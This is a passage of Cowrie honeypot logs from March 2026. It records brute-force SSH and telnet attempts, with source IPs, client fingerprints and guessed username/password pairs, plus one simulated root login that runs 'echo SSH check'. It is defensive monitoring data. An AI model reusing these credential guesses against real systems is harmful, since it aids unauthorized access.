143.110.250.227 186.237.98.23 221.6.122.67 106.3.140.29 50.6.231.130 106.75.71.120 34.173.87.191 122.176.87.190 170.150.255.26 117.50.205.91 169.255.57.220 62.169.16.83 138.197.163.192 184.70.94.130 156.227.233.245 156.227.232.27 103.166.226.235 154.82.73.111 &","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:04:25.403462Z","src_ip":"34.90.154.95","session":"a8749fe562b6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/eea1390f69d8671dc0cdd293bd25a25e248a2d1eedf251ac56b2fb6cd3faf43a","size":136,"shasum":"eea1390f69d8671dc0cdd293bd25a25e248a2d1eedf251ac56b2fb6cd3faf43a","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/eea1390f69d8671dc0cdd293bd25a25e248a2d1eedf251ac56b2fb6cd3faf43a after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:04:25.488410Z","src_ip":"34.90.154.95","session":"a8749fe562b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"76.6","message":"Connection lost after 76.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:04:25.492400Z","src_ip":"34.90.154.95","session":"a8749fe562b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.249.165","src_port":51088,"dst_ip":"159.203.135.109","dst_port":22,"session":"ada72c69ecd2","protocol":"ssh","message":"New connection: 131.161.249.165:51088 (159.203.135.109:22) [session: ada72c69ecd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:05:07.699423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:05:07.707235Z","src_ip":"131.161.249.165","session":"ada72c69ecd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:05:07.833679Z","src_ip":"131.161.249.165","session":"ada72c69ecd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mostafa","password":"12345","message":"login attempt [mostafa/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:05:08.364668Z","src_ip":"131.161.249.165","session":"ada72c69ecd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:05:09.491570Z","src_ip":"131.161.249.165","session":"ada72c69ecd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.207.244","src_port":38192,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfc4bd500098","protocol":"ssh","message":"New connection: 45.78.207.244:38192 (159.203.135.109:22) [session: bfc4bd500098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:05:21.800672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:05:22.229794Z","src_ip":"45.78.207.244","session":"bfc4bd500098","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:05:23.393686Z","src_ip":"45.78.207.244","session":"bfc4bd500098","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:05:25.928840Z","src_ip":"45.78.207.244","session":"bfc4bd500098","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.52.0.205","src_port":10360,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a8e00170439","protocol":"telnet","message":"New connection: 37.52.0.205:10360 (10.17.0.5:23) [session: 7a8e00170439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:09:08.108735Z"}
{"eventid":"cowrie.session.closed","duration":12.651327848434448,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:09:20.759956Z","src_ip":"37.52.0.205","session":"7a8e00170439","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.128.241.222","src_port":57302,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e665d66ced3","protocol":"ssh","message":"New connection: 138.128.241.222:57302 (10.17.0.5:22) [session: 2e665d66ced3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:11:41.332956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:11:41.338219Z","src_ip":"138.128.241.222","session":"2e665d66ced3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:11:41.352484Z","src_ip":"138.128.241.222","session":"2e665d66ced3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"welcome","message":"login attempt [student/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:11:41.487032Z","src_ip":"138.128.241.222","session":"2e665d66ced3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:11:42.756329Z","src_ip":"138.128.241.222","session":"2e665d66ced3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":37382,"dst_ip":"159.203.135.109","dst_port":22,"session":"994718913da7","protocol":"ssh","message":"New connection: 162.120.6.20:37382 (159.203.135.109:22) [session: 994718913da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:12:11.336075Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:12:11.412687Z","src_ip":"162.120.6.20","session":"994718913da7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":37392,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6678fc43291","protocol":"ssh","message":"New connection: 162.120.6.20:37392 (159.203.135.109:22) [session: b6678fc43291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:12:11.480909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:12:11.485469Z","src_ip":"162.120.6.20","session":"b6678fc43291","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:12:11.557002Z","src_ip":"162.120.6.20","session":"b6678fc43291","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"family","message":"login attempt [testing/family] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:12:11.771432Z","src_ip":"162.120.6.20","session":"b6678fc43291","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:12:12.845495Z","src_ip":"162.120.6.20","session":"b6678fc43291","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":50202,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fd6c5086561","protocol":"ssh","message":"New connection: 78.128.112.74:50202 (159.203.135.109:22) [session: 7fd6c5086561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:12:29.179778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:12:29.380499Z","src_ip":"78.128.112.74","session":"7fd6c5086561","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:12:29.383448Z","src_ip":"78.128.112.74","session":"7fd6c5086561","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin1111","message":"login attempt [root/admin1111] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:12:30.397531Z","src_ip":"78.128.112.74","session":"7fd6c5086561","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:12:30.660838Z","src_ip":"78.128.112.74","session":"7fd6c5086561","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'SSH check'","message":"CMD: echo 'SSH check'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:12:30.664300Z","src_ip":"78.128.112.74","session":"7fd6c5086561","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","size":10,"shasum":"96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:12:30.831831Z","src_ip":"78.128.112.74","session":"7fd6c5086561","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:12:31.165683Z","src_ip":"78.128.112.74","session":"7fd6c5086561","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.207.244","src_port":48028,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd98c88fbcab","protocol":"ssh","message":"New connection: 45.78.207.244:48028 (159.203.135.109:22) [session: fd98c88fbcab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:13:09.631080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:13:09.634618Z","src_ip":"45.78.207.244","session":"fd98c88fbcab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:13:09.868576Z","src_ip":"45.78.207.244","session":"fd98c88fbcab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"timemachine","password":"Timemachine123!","message":"login attempt [timemachine/Timemachine123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:13:11.927353Z","src_ip":"45.78.207.244","session":"fd98c88fbcab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:13:13.165270Z","src_ip":"45.78.207.244","session":"fd98c88fbcab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":44476,"dst_ip":"10.17.0.5","dst_port":22,"session":"9500a4d0f05a","protocol":"ssh","message":"New connection: 45.148.10.121:44476 (10.17.0.5:22) [session: 9500a4d0f05a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:13:34.128197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:13:34.132084Z","src_ip":"45.148.10.121","session":"9500a4d0f05a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:13:34.206659Z","src_ip":"45.148.10.121","session":"9500a4d0f05a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:13:34.284655Z","src_ip":"45.148.10.121","session":"9500a4d0f05a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.91.64.6","src_port":60023,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d2a975c3e21","protocol":"ssh","message":"New connection: 45.91.64.6:60023 (10.17.0.5:22) [session: 4d2a975c3e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:14:22.745086Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:14:23.062436Z","src_ip":"45.91.64.6","session":"4d2a975c3e21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.128.241.222","src_port":56206,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd06d3b334f1","protocol":"ssh","message":"New connection: 138.128.241.222:56206 (159.203.135.109:22) [session: fd06d3b334f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:14:54.773691Z"}
